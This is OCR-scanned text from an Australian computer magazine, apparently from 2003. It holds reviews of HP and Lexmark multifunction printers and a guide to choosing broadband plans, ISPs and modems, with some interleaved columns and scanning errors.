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The guts of the HP PSC 1210's printer is the same as the HP DeskJet 
5550 (reviewed in ARC November 2002, page 34), which means 
excellent photo output from the two-cartridge (black and CMY 
tri-chamber) arrangement. Where it differs from the DJ5550 is that 
some of the enhanced technology has been stripped — driver options 
are limited and don't offer as much control as other inkjets. 

This is an entry-level unit that produced slow print times on its 
normal and best settings, however, the draft mode is relatively quick 
and the text quality doesn't suffer too much (although solid blocks of 
colour and graphics were banded). 

Scanning is provided by the 
HP Director software, which 
serves as a convenient front end 
for all applications. We had 
some difficulty identifying the 
scanner through the TWAIN 
interface, although this was 
resolved by re-installing the 
software. Results were mixed: 
the PSC 1210 didn't handle the 
fluoro colours on the magazine 
cover well, but was good with 
flesh tones. 

For Jobs that don't require 
too much accuracy, scanning 
and copying with the PSC 
1210 using the default settings 
produces adequate results. 

Unfortunately, the scanner crops 

One of the bonus software 
applications was the HP Memories 
Disc application, which allows 
you to burn your photos onto CD 
or DVD with a simple title and 
soundtrack. 

Inexplicably, this model has no 
output tray. Paper gets sucked into 
the printer from the input tray at 
the bottom and is ejected on top 
of the waiting blank sheets. 
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Lexmark 

AII-ln-One> 


Lexmark's All-In-One Center is the hub of all applications for the 
X5150 and foilows a task-based ethos. Even the printer driver is geared 
towards this. Opening the driver immediately attracts a pull-down 
menu labelled "I want to..followed by a number of common tasks 
including, "increase the quality or speed of my printouts". 

You can scan into the Lexmark Photo Editor through the All-In-One 
Center, make multiple copies, email or even fax from an application 
using the computer's fax/modem and the fax software provided by 
Lexmark. The MFD itself doesn't come with a fax capability. Users who 
prefer their own applications can 
script the All-In-One Center to 
point to their preferred source. 

Print quality for the X5150 is 
outstanding. Lexmark doesn't have 
its own branded specialty papers, 
but we used a third party's glossy 
stock and achieved excellent 
results. Unfortunately (as with 
most Lexmark inkjets in their 
best-quality mode), it's heavy- 
handed with the ink and the colour 
cartridge needed replacing after 
our first test run. 

Curiously, the levels of the black 
ink did not drop as significantly as 
the others in this roundup. Print 
speeds were good in draft mode, 
but the default or "normal" setting 
was tardy and the best quality 
setting slowed to a crawl. Scanning 
and copying functions were 
competent but, like the printing, 
it was slow. 

The largest MFD in this 
roundup, this model makes an 
imposing figure in its charcoai and 
silver shell. Despite this, the X5150 
feels flimsy. Aiso, the scanner unit 
opens upward like a car bonnet 
with only a small plastic support 
to hold it up. 


If you like your MFD compact then the Lexmark X75 is the one for you. 
it's easily the smallest and lightest device in this roundup, measuring 
only 168 x 460 x 337mm (FIWD) and weighing in at only 4.5kg. 

Print quality on this entry-level model was good but slow, with a 
maximum 2,400 x 1,200dpi resolution, in draft mode, the PowerPoint 
presentation completed in a little under eight minutes, although it 
took a staggering 31 minutes in normal mode. 

The X75 tends to be a "heavy" depositor of ink on the paper, a trait 
noted with many Lexmark inkjets (implying higher running costs). 
Photo printing was improved 
for duli or indoor shots by 
ticking the option in the driver 
to bring out highlights in the 
picture and emphasise edges 
and finer details. 

The scanner is the weakest 
point of the X75. It produced 
heavily banded images, with 
blotchy dithered print. Skin 
tones in our test image came 
out sickly and the fluoro orange 
came out a wishy-washy shade 
of pink. 

The software interface is the 
same All-In-One Center used on 
the X5150. There is also a Lexmark 
Photo Editor application which 
offers modest photo retouching 
capabilities. 

The X75 does all that it's 
supposed to, albeit slowly. The 
driver and All-in-One Center 
are good examples of how 
integrated software can 
make the most of a relatively 
unsophisticated device. 

Overali, the X75 is worth a lool 
if your main concern is printing 
and you're sticking to a tight 
budget. Unfortunately, you can't 
rely on the scanner. 
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(^Know your options 

If there's a world where every person has a fast, fat pipe running 
right to their door, we're certainly not living in it. The world we 
live in plays by a different rule: that you may, or may not, be 
able to get broadband depending on what suburb you live in, 
what street you live on, and whether you reside in a house or an 
apartment block. You might have a choice of broadband ISPs; 
then again, you might not. 

So the first step in your quest for broadband nirvana is to 
know your options, and these are dictated by where you live. 

Unlike dial-up, which is available over any phone line, both 
ADSL and cable networks have a strict geographical bias. ADSL 
customers must be connected to an ADSL-grade telephone 
exchange, while cable must physically snake its way past your 
premises so you can tap into the backbone. 

Chances are that you'll be within reach of ADSL. Telstra claims 
that ADSL is already available to some 75% of the population, 
or up to 7 million premises. Cable networks are available only in 
metropolitan locations, with the Telstra cable passing a modest 
2.5 million premises, and Optus only 1.3 million. Moreover, Optus 
doesn't offer cable Internet to "multiple dwellings" such as town 
houses or apartment blocks. 


However, don't assume that cable is an "also ran". It's still the 
one to beat for pure speed, being over 10 times faster than the 
average ADSL service. That alone makes cable the first and only 
choice for some broadband u: 

Where cable loses out to ADSL is in the nature of the carrier 
arrangements. You're limited to a couple of providers, neither of 
which offer unlimited plans; and the cable modems work only 
with each carrier, so if you shift ISPs you'll have to pony up for a 
new modem while the old one becomes a paperweight. 

(To check if you're in an area cabled by Optus, goto 
http://cable.optusnet.com.au/availability.html ; for Telstra, 
www.bigpond.com/broadband/access/cabie/caniget). 

ADSL's main advantages over cable are its wide availability 
— the technology needs only to be installed in each telephone 
exchange, rather than laid out street-by-street — and the 
freedom to move between providers, so long as you don't lock 
yourself into a long-term contract. 

Unlike cable Internet, which requires a dedicated data line, 
ADSL piggybacks onto the same pair of copper wires as your 






r 






u 


Satellite 





The top four bandwidth busters 



|1. Peer-to-peer file sharing 



Napster may be dead, but it spawned a clutch of smarter and more decentralised 


phone. All frequencies over the 

file-sharing networks that remain phenomenally popular. But P2P can be 


copper wires up to 26kHz are reserved 

addictive, and all those downloads add up. A bunch of MP3s, some DivX-encoded 


for standard voice calls and signalling 

TV shows that have yet to be screened locally, and before you know it, you've 


which controls the network. The leftover 

broken through your download cap and are paying big money for every megabyte. 


headroom, spanning from 26kHz to 1,130kHz, 

P2P can land you in hot water even when you're not downloading. If your ISP is 


is used by ADSL. 

one ofthe few that counts uploads inyour monthly allocation, and you use programs 


Because signal quality on telephone lines can 

like eDonkey or KaZaA that shrink into the system tray and remain running when you 


vary according to many factors — from the physical 

click the main window's Close button, you could be in for a shock. 


quality of the copper pairs used, to your distance from 

In one well-publicised case, a user accidentally left her P2P program running 


the exchange, and how many joins are in the line — not 

for two weeks, during which time other members of the file-sharing network were 


everyone can get ADSL. 

grabbing files from her P2P folder. This background uploading from her end landed 


ADSL may be slower but it offers a much wider range 

her with an excess usage bill of more than $8,000 because her ISP (Telstra) charged 


of ISPs and plans, including those much-discussed 

for uploads. To its credit, Telstra eventually halved the fee as a goodwill gesture. 


"unlimited" deals that, in theory, let you download 24/7. 

leaving her to pay "Just" $4,800. If you're into P2P, check our tables, starting on page 


As every residential ADSL provider uses Telstra for the 

95, for ISPs that offer free uploads. 


physical ADSL connection to your home, the easiest way 



to find out if you're within reach of ADSL — even before 

■ 2. Streaming audio and video 


you look into the deals offered by specific providers — is 

Streaming content is the stealthy assassin of bandwidth. Listening to online radio 


to check Telstra's ADSL Web site (www.telstra.com.au/ 

stations or dedicated Web-only Netcasters is undeniably cool, but many people 


adsl/ordering/search.cfm). 

forget that this slowly drains their download allowance. A decent quality 128Kbit/s 


In some cases Telstra will say that you can get ADSL 

stream will soak up 56MB every hour, so don't fall into the habit of leaving the PC 


in your area, but another ISP may say that you can't — in 

tuned into streaming radio while you go about your day. 


this case it's possible that the other ISP has an out-of- 

The same goes for movie trailers. Anything that appears on your screen has 


date version of the availability database. However, for 

to be downloaded to your PC. Movie trailers can load deceptively quickly on 


business reasons some ISPs choose not to offer ADSL in 

broadband, but they're relatively big files. Most hi-res trailers start at 20MB and can 


certain areas. 

be much larger if they're full screen or high-quality. 


Surfing via satellite 

■ 3. Multiplayer games 


Many people beyond the reach of ADSL and cable. 

While you're mowing down the enemy in that popular multiplayer game, your 


especially those living in regional Australia, rely on 

PC is steadily chewing through bandwidth at a rate of anywhere from 30Kbit/s to 


satellite Internet services. A satellite dish picks up the 

120Kbit/s. This translates to a peak of 50MB per hour. If multiplayer games are your 


incoming data. While a satellite connection gives a 

thing, you'll get much better value from an ISP that offers local game servers that 


reasonable boost to download speeds and streaming 

don't contribute to your monthly download usage, not to mention the weighty 


video, it has little impact on general surfing and is of no 

downloads required to keep your game version up-to-date with other players. 


benefit to multiplayer gaming. You also need a dialup 



landline connection for your PC's outbound data, such as 

|4. Operating system updates 


Web page requests and email. 

Modern operating systems rely on the Internet to distribute patches and updates. 


There are high up-front installation costs (typically 

and these can take a hefty toll on your monthly download cap — especially if you 


$450-$800, depending on location), with monthly 

allow those "automatic installation" features, or if you have to reinstall your OS and 


costs under a variety of Telstra "one way" satellite 

fetch all those updates again. 


plans ranging from $55 to $77 per month. If you're a 

While Microsoft is steadily finding and plugging up the holes in Windows, it 


rural resident, government subsidies may be available 

takes several hundred megabytes of updates to do so. A clean install of Mac OS X 


to help offset these costs. For more information. 

10.2 will also fetch a few hundred megabytes of files, although at least these are 


visitwww.bigpond.com/broadband/access/ 

more in the line of feature enhancements rather than bug fixes. 


Iwaysatellite/plans. * 
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I Feature 


Understand the plans 


Now that you know what you can get, it's time to find out how to 
get it. Broadband iSPs offer a dizzying selection of plans comprised 
of monthly spends, connection speeds, download limits, excess- 
download prices and more. And just to keep things interesting, these 
schemes are laced with special conditions and fine print. Here's how to 
work your way through the maze. 

All broadband plans follow one of three models. The first and 
most common type of plan gives you a set download limit at a fixed 
connection speed for a flat monthly fee: for example, 3GB of data at 
512Kbit/s for $90 per month. Once you go over that download limit 
you attract an excess usage fee, which is charged per megabyte at 
a dramatically inflated price. For example, on a typical $90 monthly 
plan with a 3GB limit, the cost works out to be 3c per megabyte while 
you're below the download cap; above that limit, it can shoot up to 
ISc/MB, which translates into a painful $150/GB.This is the plan if you 
want maximum speed all the time, hang the expense: go for cable if it's 
available, or the top-shelf I.SMbit/s ADSL option, and look for a high 
download allowance as well as low per-MB rates after that. 

The second type of plan varies this formula by a technique called 
"throttling". This reduces your connection speed once you hit your 
monthly download ceiling, but allows you to keep downloading at 
no extra cost. For example, your plan might allow for 512Kbit/s with 
a 3GB download cap. As soon as you exceed 3GB of downloads the 
connection might drop back, in some plans to as slow as 56Kbit/s (the 
same speed as a dial-up modem). 

This makes throttled plans good for users who want an all-round 
account which balances performance with cost control — as long 



as you're prepared to take a hit on speed, you can keep on leeching. 
These plans can also be suitable for connections shared with family 
or flatmates, because they eliminate the risk of huge and unexpected 
bills. Just be sure that everyone gets a fair share of the fast downloads 
before the speed limiter kicks in. 

The third option is an unlimited plan: you pay a set monthly fee 
and in return you can download as much data as you want. The catch 
is that you can't count on the speed being top-rate or even constant. 
(However, if the ISP says its contract has "acceptable usage" clauses to 
prevent a download feeding frenzy, makes sure the contract clearly 
defines what is and is not considered "acceptable".) 

At least one national ISP, Internode, operates a flat-rate service 
with a form of throttling called "dynamic priority adjustment" - which 
means the connection speed varies according to your downloading 
habits. "The more you go off the deep end, the slower your service will 
tend to get," explains Internode MD Simon Hackett. "Back off, and the 
performance will rise." 

If you want to be able to download with impunity and play online 
games without worrying about about breaching your monthly data 
limit, an unlimited or flat-rate plan will give you a balance between "all 
you can eat" downloads and performance. 

Competition is driving the new unlimited plans, with middleweight 
telco Comindico offering an aggressively-priced alternative to 
Telstra. The company has married its nationwide IP network (built to 
handle video, voice and Net traffic) to a leased 750Mbit/s slice of the 
international submarine cables run by Southern Cross. 

Buoyed by wholesale prices that undercut Telstra's, Comindico 
resellers have seized upon the model of unlimited downloads, 
spurning the standard of capped broadband plans for deals as low 
as $65 per month — which would barely buy 500MB under the more 
conservative pricing of Telstra's BigPond ADSL service. 

Comindico's first flat-rate reseller, Aardvark Internet, primed the 
pump with a catchcry of "Suck my pipe!" and, as part of its launch, 
offered prizes to customers who could download the most data. 
Comindico CEO John Stuckey says unlimited deals are designed to 
remove the fear Internet users have of going over their monthly 
download limit, lest they incur painfully large bills. 

Some broadband suppliers have been trying to mask the complex 
price structures of their services, and the real cost to users, he says. 
"Without competition in the Australian Internet space, there will not be 
change or improvement. Comindico has built a large network, is well 
funded and capable of mounting a serious challenge to the out-of- 
date thinkers who believe circuit switching is relevant." 

Part of the Comindico model is a low "contention ratio" (this 
describes how much bandwidth is available at the ISP to service each 
end user). Comindico's stated 30:1 ratio means that, for example, 

30 customers on 512Kbit/s plans will be allocated to each 512Kbit/s 
slice of core ISP bandwidth. Given that only a small portion of an 
ISP's customer base will be transferring data simultaneously, a 30:1 
contention ratio should deliver good performance. 

However, critics say Comindico's "all you can eat" marketing will 





























attract file leeches who will be inclined to use more than their fair share 
of bandwidth, leaving others with much slower download speeds. As 
one competing ISP put it: "While one user sucks the pipe, the others 
will be saying 'My pipe sucks'." 

iiNet chief Michael Malone agrees that Comindico's offer Is 
economically viable, but doubts that network performance will be 
satisfactory. "They are offering the product with a 30:1 contention 
ratio. It's easy to plug In the numbers and see that the product 
makes sense," he says. "The bigger question is the definition of 
unlimited. Can you provide truly unlimited, full speed access on a 
30:1 contention ratio? All I know is that iiNet failed to do so on a better 
contention ratio. Performance during off-peak periods was below 
customers' expectations." 

Stuckey counters these claims by pointing out that Comindico 
intends to manage users who are abusing the system, although 
this will be done at the ISP level rather than by addressing the 
individual user. "If we have one ISP that attracts too many leeches, 
we will wind up its contention ratio. The onus is on the ISP to manage 
users' behaviour." 

Curiously, some users are in two minds about this. Scott Beck, one 
of the first to sign up for Aardvark Internet's unlimited ADSL plan, says 
that for a little while he was enjoying "fantastic speeds, pretty much 
right up to the full I.SMbit/s because I was the second user connected 
to the network and almost had the whole network to myself." As 
other users signed up, however, he noticed that the network slowed 
dramatically. At the time he spoke to ARC he was clocking rates of 
40Kbit/s. "Sometimes I'm lucky if I get20Kbit/s," he says. Yet Beck 
expected something like this to occur. 

"Why did I sign up and connect to this network if I knew all this was 
going to happen? Because I am sick to death of Telstra and the other 
ISPs ruining the Australian broadband market. If Telstra removed the 
caps and actually allowed users to make use of these fast connections, 
the heavier users and normal-to-low users would allow the network to 
move forward positively, as it does in the UK and US." 

"Anyway," he reflects, "I'm in for an interesting ride and I wouldn't 
want it any other way. I have always ridden the front of the wave in this 
game, and I have learned you can't always ride a winner." 

Broadband connection speeds 


/^Draw up your 
shopping list 


Now that you understand the plans, cut through them by 
determining what you want out of your high-speed connection. 
Ignore those that don't meet your needs, and focus on those that 
look good to you. 

Start by setting the speed limit. As shown in the table below, 
there are four connection speeds availabie in broadband, ranging 
from 256Kbit/s tolOMbit/s. 

ADSL plans are expressed as a pairing of download and upload 
speeds, so a service advertised as "512/128" means the download 
pipe can handle 512Kbit/s while all your outgoing data will trot along 
at a more sedate 128Kbit/s. 

What do these figures mean in the real world? The easiest 
measurement is the time it takes to download a file, and this is 
where confusion can set in. Connection speeds are measured in 
kilob/fs per second (Kbit/s), but file sizes are measured in kilobytes 
(KB; or megabytes, which is 1,000KB). A bit is one-eigth of a byte, 
so to determine the connection speed in terms of file size, divide 
the speed by eight. For example, a 512Kbit/s connection will let 
you download 64KB per second. You also need to subtract 10% to 
take into account network overheads. This reveals a true "download 
speed' of 59KB/s, which means that a 10MB file should take around 
three minutes to land on your hard drive. By comparison, a 56K 
modem will realistically give you transfer rates of about 3KB/s. 

Higher-speed plans are rated in megabits per second (Mbit/s), 
which is 1,500Kbit/s, so the same calculations apply: multiply the 
Mbit figure by 1,000 to get the Kbit equivalent, then divide by eight 
and subtract 10% (then take away the number you first thought of 
and you'll get your age. Okay, we're kidding about that last bit!). 

Of course, there's more to broadband ISPs than speeds and price 
tags. Below, we list some other enticements. Choose the ones you 
want and conduct your iSP shopping accordingly. 

Game servers 

Some ISPs offer local game servers within their network, ensuring 
minimal lag times and maximum gaming action. If you've got a 


Connection speed 

ADSL256/64Kbit/s 

Realistic 
download speed 

29KB/S 

Realistic 
upload speed 

7KB/S 

Best for... 

Cheapest always-on Internet: casual Web browsing and email, basic home networking. 

ADSL512/128Kbit/s 

58K8/S 

14KB/S 

Most users: offers fast downloads and good speed for multiplayer gaming. 

ADSL1.5Mbit/s/256Kbit/s 

170KB/S 

29KB/S 

Power users: fastest downloads under ADSL as well as running servers (due to fastest upload speed). 

Cable 10Mbit/s/128Kbit/s 

300KB/S 

15KB/S 

Speed freaks: fastest downloads, but 1.5Mbit ADSL offers faster uploads for servers and file sharing. 


Reality bytes: a bit of maths reveals the download (and upload) speeds you can expect from your broadband connection when it comes to actually shifting data, and proves 
that faster isn't always better. Cable is a speedster for downloads but makes little sense for hosting any type of server except email servers. 
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favourite game, it's worth investigating which iSPs host servers for that 
game and how many other gamers are using them — no matter how 
quick the connection is, it's no fun playing alone! 

Free download servers 

For many people, broadband is ail about downloading. But your 
monthly allowance might not stretch far enough, and if you were to 
download the full distribution of Red Hat Linux 9 on a 3GB plan, you'd hit 
that ceiling before you were through — and be faced with a hefty bill. 
That's why several ISPs maintain local file servers containing a selection 
of software (not all of it free), including popular Linux distros. 

You can download these programs without affecting your monthly 
allowance, and snag them much faster than from most international 
sites. Just check how large your ISP's download server is: we've seen 
them ranging from a meagre few gigbytes (less than two CDs) to a 
whopping 400GB. 

Free peer-to-peer traffic 

With the surge in popularity of peer-to-peer file sharing, and the 
impact it has on capped plans, some ISPs now offer free traffic within 
their own network (although in most cases only within the user's 
state). Enterprising members have set up their own DirectConnect 
servers in each state to take advantage of this. To find out if any of 
your short-listed ISPs have a matching DirectConnect server, check out 
http://forums.whirlpool.net.au/forutn-threads.cfm7f=87. 

Usage meter utilities 

The last thing you want to do after subscribing to a reasonably priced 
plan is to over-run your monthly limit and rack up a bill of hundreds 
or even thousands of dollars. Most ISPs offer a Web page where you 
can check your usage throughout the month; some ISPs also supply 
desktop software that lets you keep an eye on the download clock as 
you go. See page 104 for the usage meters we recommend. 

Multiple email addresses 

Most ISPs offer three or more email addresses as part of a basic service, 
which are ideal where families or fiatmates share a single PC. 


■ K B 

I The b-b-boom 

After a slow start, broadband has exploded into Austraiian 
homes. Some 620,000 Australians, or 4% of the population, 
now have broadband access at home, according to Roy 
Morgan Research. They account for 7% of the total 4 million 
"connected homes" (9.2 million people, or 58% of Australians) 
with Internet access. 

Broadband users also spend more time online, logging on 
for an average of 11 hours per week, compared to six hours 
for dialup users. Interestingly, the Internet comprises almost a 
third of the total weekly media usage in the broadband home. 


Free Web hosting 

Although you can run a Web server directly from a broadband 
connection, it's an option best left to enthusiasts with specific 
requirements. Remember that you'll need to leave your computer 
running at all times. If this appeals, check your storage limit and 
whether the site has a traffic cap. Other wise, free Web hosting on the 
ISP's own server might be more practical. 

Tech support 

On average, only one in four ISPs offer 24x7 tech support. Some 
smaller providers still expect you to have trouble only between 9am 
and 5pm weekdays, and even then you have to make an STD call to 
their help desk, while the larger companies offer 13-prefix numbers 
which cost the same as a local call. 

Spam filtering 

Canny ISPs have been quick to offer filtering services which remove 
incoming spam at the ISP's mail server to prevent it being downloaded 
into your inbox. This can cost up to $5 per month. However, even if 
your ISP hasn't set up a junk mail filter on its server, you can sign up 
with services such as SpamTrap (www.spamtrap.net.au). 

For $3 per month, SpamTrap will filter Junk mail from your email 
account, regardless of which ISP you use. See APC May, page 98. 



















1 Feature 


Plan ahead for your hardware 


Thinking about hardware before you even shortlist your ISPs might 
seem like putting the cart before the horse, but while most ISPs offer 
a raft of broadband plans to suit a variety of online needs, they also 
seem to think that when it comes to the essential hardware — the 
modem — one size fits all. There's often little or no allowance for your 
hardware requirements being different to someone else's. 

As a result, many ISPs steer new customers towards a basic ADSL 
modem which connects to your PCs USB port. Some allow you to pay 
off the modem over the term of your contract; others (like the newly- 
launched AOL|7) offer the modem and free installation if you sign up 
for two years. 

Although this may be convenient and will reduce the up-front 
costs, don't automatically accept your ISP's choice of modem. Most 
ADSL services work with any ADSL hardware, so you're largely free to 
buy any Telstra-approved ADSL modem — check out the list at 
http://telstra.com.au/adsl/equipmnt.htm, and then read the 
modem and related broadband hardware reviews at the OzCableGuy 
site (www.ozcableguy.com). Identify your specific hardware needs 
and, when shopping for an ISP, ask if its service will work with the 
hardware you want to use. 

The potential downside of being choosy about your modem is, of 
course, that the ISP may refuse to provide technical support if you're 
not using one of its own — an ISP can easily write off thorny issues as 
being a hardware problem, and chances are that the hardware vendor 
will then blame the ISP. 

The more tech-savvy you are, the more freedom you'll have in 
specifying your own hardware. However, if you're advising a friend or 
colleague who wasn't born under the zodiac sign of The Geek, they'll 
be better off with an ISP-approved modem (unless you want to be on 
call as their tech support when things go pear-shaped). 

If you have only one computer 

Broadband modems come in three flavours — USB, ethernet or both- 
in-one. While USB modems are cheaper and generally work well, they 
rely on driver software installed on your PC, which can be a potential 
point of failure — especially if you change to a different OS and 
discover that the modem isn't supported. 

Ethernet modems are more flexible as they connect to your 
computer's 10/100 network port and don't require special driver 
software. Expect to pay $130 to $300 for a basic single-port modem. 

If you see more than one PC in your household's future, hedge your 
bets and buy a modem with inbuilt routing functionality that allows 
you to connect it straight into a home network. And with the price of 
combo modem/router units coming down to the level of standalone 
ADSL modems, they're by far the smarter choice. 

Sharing a connection with several computers 

One of the most compelling reasons to get a broadband connection is 
that it's easily shared with other home PCs. If that describes your place, 
you've got three options: 

O A modem with routing functionality and several network ports will 
let you share your connection over a local network. Some of these 


combo units offer firewall protection and automatic blocking of 
Denial of Service (DoS) attacks. 

© Buy a single-port modem with routing functionality and a separate 
network switch to get the other computers online. This sometimes 
provides a more stable network that's easier to troubleshoot. It's also 
a good option If you already have a home network running through a 
network setup. 

® A combo modem/wireless router makes It easy to share the 
broadband connection anywhere In the house (even through to the 
patio and backyard) without running cables. This Is the best bet if your 
main PC is a notebook, especially if it's one of the newer models with 
built-in Wi-Fi (802.11b). You'll also need to shell out for a Wi-Fi network 
card for each PC (PC cards for notebooks and USB points for desktops). 
See our recent wireless superguide [ARC May, page 72) for the best 
advice on which gear to get. 

Apart from the ADSL modem, you'll need a line filter for each 
phone jack in the house where a standard telephone will be 
connected. These remove any digital "noise" created by the ADSL 
connection. Expect to pay between $15 and $25 for each filter. If you 
have more than three phone plugs you might be better off having a 
professional tradesperson install a central splitter, which sits at the 
point where the phone line enters your residence. Some of the larger 
ISPs will throw in a central filter as part of the overall professional 
Installation fee. 

A particularly common problem is for cordless phones to stop 
working when they're sharing a connection with ADSL, despite the 
presence of a line filter. In some cases you'll need to make several trips 
to the shop and try several different brands of line filter before finding 
one that works with your unit. 

Broadband in a box 

The appearance of do-it-yourself kits on the shelves of retail chains 
such as Dick Smith Electronics and Harvey Norman is a measure of how 
mainstream broadband Internet has become. Leading ISPs IPrimus and 
Telstra offer keenly-priced packs with a modem and startup software. 

Telstra's $129 kit contains a two-port 
(USB and Ethernet) ADSL modem with phone line 
filters, and requires that you 
sign up for an 18-month plan. 
iPrImus' self-install kit sells for 
$269 and Includes a month's 
free access. 

These kits are much 
cheaper than having a 
technician visit your house to 
hook everything up, but they 
won't help you get connected 
to broadband any faster: 

Telstra still has to go through 
several days of changes at your 
local telephone exchange to 
get the ADSL line activated. 
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^ Caveat surfer 

It's taken five steps to get to the stage where you're ready to choose 
your ISP, but those steps have transformed you into something that 
many ISPs hate — an informed customer. Well, that's their bad luck. 

And there's worse luck ahead for them, because now you're about 
to get clued in on the hidden conditions and caveats that too many 
people overlook in their haste to sign on the dotted line. 

Watch that asterisk 

Rule number one: the better-sounding the deal, the more likely it will 
have an asterisk sitting at the end of it, and a wad of fine print tucked 
away down the bottom of the page to explain it all away. Here's an 
example; at the time of writing, TPG Internet was advertising a plan 
"with 10,000MB free data" for $19.99. 

The odd set of conditions denoted by that sneaky little squashed- 
bug of an asterisk is that customers must use 400MB of data at 15c/ 

MB to gain access to the "free" 10GB — adding an extra $60 to the 
monthly fee. Actually, $79.99 for 10.4GB per month isn't bad value, but 
the way this deal is promoted is questionable. 

Another sneaky condition is splitting a temptingly large download 
allocation between a small portion to be used in "peak" times 
(generally day times and evenings) and the majority in "off-peak" 
periods (largely overnight). That's only of use If you're a night owl, a 
shift-worker or are prepared to schedule file-fetching session in the 
wee hours using a download manager software. 

Excess usage pricing 

This "gotcha!" helps ISPs clean up on what at first appear to be low- 
priced plans. A $90 contract might allow you to download 3GB each 
month, which works out to about 3c/MB — but put one foot over the 3GB 
mark and the price can shoot up to ISc/MB, which works out at $150/GB. 
This works both ways for the ISPs. They can encourage customers to 


The download test 


56Kbit/s dialup 

73 min 

iH256Kbit/sADSL 

16 min 

■ 512Kbit/sADSL 

8 min 

ll.SMbit/sADSL 

3 min 

iCable 

1 min 


Speed is good: how long does it take to download a 30MB file over 
a broadband connection? From one minute using cable running at 
maximumclip, to WminutesattheslowestADSLspeed. Thesamefile 
would take more than 70 minutes on a 56Kbit/s dialup connection. 


shift to more expensive plans if their usage increases, and if the user stays 
on the low-priced plan the ISP cleans up on excess downloads. 

You can swear that you'll never go above that 3GB mark, and most 
months that might hold true, but at some stage it will happen. So 
compare excess pricing: with some ISPs it's as low as 5c/MB. 

Long-distance preselection 

Optus and Telstra require you to sign over your long-distance calls 
before you qualify for the advertised price for their broadband service. 
Telstra is the worst offender here, stinging ADSL users for around $110 
per month for a 3GB, 512Kbit plan. 

The price falls to the more widely promoted $95 if you pre-select the Big T 
as your long-distance carrier (all this is hidden in the fine print). At least Optus 
is more upfront about preseleaion in its marketing. 

Are uploads free? 

Some ISPs, including Telstra BigPond, count uploads into the monthly 
data tally. With the popularity of file sharing peer-to-peer networks, 
home Web servers and online gaming, this can substantially eat into 
your allowance. 

Restrictions on running servers 

Because a broadband connection means your PC is always online, 
running a home email or Web server can be an intriguing possibility. 
But in an attempt to limit "business" usage of services sold to the 
residential market, some ISPs restrict this capability. 

These controls can be legal, by way of a contract clause which 
prevents you from running a server, or technical, with the ISP slowing 
down or blocking ports required to run some server software. 

Regional pricing 

If you live outside the CBD's local call area, some ISPs will hit you with 
a regional surcharge as high as $40 per month. This is levied by Telstra 
at the backbone level of the ADSL network and is passed onto all its 
reseller ISPs, although some absorb this cost. 

Who owns the modem? 

As with mobile phone contracts, the cost of the required ADSL 
hardware is often factored into the monthly plan fee, and once 
you've finished the contract, the modem is yours. But some ISPs ask 
for the hardware back if you cancel your service. 

You may be able to avoid long-term contracts by buying an 
ADSL modem outright — either directly from your ISP or from a 
computer retailer. 

"No contracts" 

Some ISPs advertise that they require "no contracts". Yet most of them 
will still slug you with a cancellation fee if you leave within six months 
— a clause that's often buried deep in the fine print on the contract 
that they say they don't really have. 

This is, in fact, a fee levied by Telstra on ISPs and generally passed 
on to the customer — but it can be a nasty sting in the tail if you were 
expecting complete freedom to switch providers. 
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Australia's best broadband 
plans revealed 


Now it'stime to pick yourdeal. But with close to 100 broadband ISPs 
spruiking some 700 plans between them, where do you start? Right here. 
We've identified four typical home usage scenarios, stretching from 
budget-minded broadband to the maximum velocity "speed¬ 
surfing". And we've raked through the comprehensive database at 
BroadbandChoice.com.au, Australia's independent guide to ISP deals, 
to find the most suitable plans for each user profile. 

This data is accurate as of May 1,2003 (barring errors and omissions 
on the part of the ISPs, which provided the raw data). A fully updated 
version of this table at www.broadbandchoice.cotn.au/apc contains 
changes made since we went to print. You can also use the site's 
BroadbandChoice plan searcher to match your individual requirements 
against all ISP plans listed in the database. 

Our focus is on home plans, as business users have different needs 
which vary more widely between each company. And because broadband 
should be about getting what you want when you want it, we treated off- 
peak allowances as a bonus rather than a core factor of the plan. As such, 
we didn't list ISPs whose plans hinge on off-peak downloads. 

Also, while many of the ISPs listed in this table offer national coverage, 
some service only certain states or cities. The www.broadbandchoice. 
com.au/apc site includes a "local ISP lookup" engine that shows which 
broadband ISPs service your area when you enter your telephone number. 

Making our Editor's Choice for the best plan per category 
was incredibly difficult, thanks to some fierce and very welcome 
competition in the broadband market. It's good news for all when 
there are so many plans to choose from. 

While we started with an eye on the price, we also weighed up 
coverage, and in the end limited our finalists to ISPs which covered at 
least three states, one of which had to be NSW, Victoria or Queensland 
(as these are the most populous states, they best represent the 
majority of Australians and of APC readers). 

We then allowed for value-add features such as game servers, 
download servers and other free services that round out the deal. We 
know that our choices won't suit everyone, which is why you should 
workyour way through the tables (see the following three pages) and 
the online components. 

Broadband on a budget 

You want to do email, Web browsing, a bit of downloading — pretty 
much the same things you'd do on dialup, but with broadband's extra 
speed and the convenience of an always-on connection. But you don't 
want to spend too much more. Our recommendation: plans around the 
$50 per month mark ($70 a month was our cut-off point) with at least 
500MB of data included and a minimum speed of 256Kbit/s. 


Netspace Lite 256 

Netspace is the only ISP with national coverage to offer a 1GB 

monthly download at 256Kbit/s for the Jaw-dropping price of 
$49.95. However, if you live in NSW or WA you should look 
into some of the $45 2GB deals on offer. 


The all-rounder 

You want to use your broadband connection to its best advantage by 
downloading more software, sharing Net access between several PCs 
and enjoying some online gaming? Our recommendation: 512Kbit/s 
plans that provide at least 4GB of data for less than $90 per month. To 
give a little room to move, we applied an upper limit of $115 per month 
with a minimum of 2GB included data. 


iiNetBliink512 

Overall, we were encouraged to see that so many 

mid-range plans have dropped beneath the $80 per month 
mark. But with a steady 512Kbit/s speed plus a total of 12GB 
of downloads — 6GB during peak hours, and another 6GB 
for off-peak (nights and weekends) for $79.95, iiNet's value is 
unmatched. And if you still manage to pull more than 12GB down 
the pipe, iiNet lets you keep going at no extra cost, as long as you don't 
mind the speed being throttled back to 72Kbit/s. iiNet is available 
in NSW, Victoria, Queensland and WA. In other states, take a look 
at Netspace's flat-rate plan. Home 512. It offers 6GB at 512Kbit/s for 
$69.95, with free downloads at 56Kbit/s past the 6GB mark. 


Download 'til you drop 

This is Leech Nation, the home of en-masse downloads and, especially, 
peer-to-peer file sharing. Our recommendation is a 512Kbit/s plan with 
a minimum of 8GB for less than $100 a month; however, we allowed for 
an absolute upper limit of $135 a month with a floor of 5GB. 


Internode PADSL-S12-FLATRATE 

With brutal competition, and so many unlimited 512Kbit/s deals around the 
$99 price point, we settled on Internode on the basis of extras like 
in extensive game server farm, a large download mirror, plus 
™ dynamic throttling to ensure download addicts don't cramp 

the style (or speed)of everyone else. 


Terminal velocity 

